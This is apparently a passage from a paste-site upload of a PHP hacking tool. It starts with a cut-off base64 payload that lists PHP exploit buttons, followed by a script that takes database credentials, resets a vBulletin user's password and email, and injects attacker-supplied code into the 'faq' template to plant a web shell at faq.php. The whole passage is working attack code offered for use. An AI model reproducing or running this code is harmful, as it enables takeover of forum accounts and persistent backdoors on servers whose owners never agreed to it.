KFBIUCA8NC40LjIsNS4xLjIpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXJyYXkgQ3JlYXRpb24gaW4gWyB1bnNlcmlhbGl6ZSgpIF0gNjQgYml0IGZ1bmN0aW9uIChQSFAgPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBpbiBbIHN0cl9pcmVwbGFjZSgpIF0gZnVuY3Rpb24gKFBIUCA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIGluIFsgaHRtbGVudGl0aWVzKCkgXSBmdW5jdGlvbiAoUEhQIDw1LjEuNiw0LjQuNCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdJbnRlZ2VyIE92ZXJmbG93IGluIFsgemlwX2VudHJ5X3JlYWQoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBpbiBbIHNxbGl0ZV91ZGZfZGVjb2RlX2JpbmFyeSgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjUsNS4yLjEpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5IEFsbG9jYXRpb24gQm9GIGluIFsgbXNnX3JlY2VpdmUoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ09mZiBCeSBPbmUgaW4gWyBwaHBfc3RyZWFtX2ZpbHRlcl9jcmVhdGUoKSBdIGZ1bmN0aW9uIChQSFAgNTw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjAnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdSZWZlcmVuY2UgQ291bnRlciBPdmVyZmxvdyBpbiBbIHVuc2VyaWFsaXplKCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuNCknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PC90cj48L2Rpdj48L3RhYmxlPiI7DQplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGJyPjwvdGQ+PC90cj48L3RhYmxlPiI7DQplY2hvICc8L2JvZHk+PC9odG1sPic7DQo="))}}{${exit()}}&
- $_phpinclude_output</textarea><br>
- <input type=submit value='Change' ><br>
- </form></center>
- </html>
- <?
- error_reporting(0);
- $hostname = $_POST['hostname'];
- $dbname = $_POST['dbname'];
- $dbuser = $_POST['dbuser'];
- $dbpass = $_POST['dbpass'];
- $user=str_replace("\'","'",$user);
- $set_user = $_POST['user'];
- $pass=str_replace("\'","'",$pass);
- $set_pass = $_POST['pass'];
- $email=str_replace("\'","'",$email);
- $set_email = $_POST['email'];
- $vb_prefix = $_POST['prefix'];
- $data = $_POST['data'];
- $set_data .= ("$data");
- $table_name = $vb_prefix."user";
- $table_name2 = $vb_prefix."template";
- @mysql_connect($hostname,$dbuser,$dbpass);
- @mysql_select_db($dbname);
- $query = 'select * from ' . $table_name . ' where username="' . $set_user . '";';
- $result = mysql_query($query);
- $row = mysql_fetch_array($result);
- $salt = $row['salt'];
- $pass1 = md5($set_pass);
- $pass2 = md5($pass1 . $salt);
- $querry1 = 'UPDATE ' . $table_name . ' SET password="' . $pass2 . '" WHERE username="' . $set_user . '";';
- $querry2 = 'UPDATE ' . $table_name . ' SET email="' . $set_email . '" WHERE username="' . $set_user . '";';
- $querry3 = 'UPDATE ' . $table_name2 . ' SET template ="' . $set_data . '" WHERE title = "faq";';
- $ok1=@mysql_query($querry1);
- $ok1=@mysql_query($querry2);
- $ok1=@mysql_query($querry3);
- if($ok1){
- echo "<script>alert('vBulletin info changed and Shell available is faq.php :)');</script>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment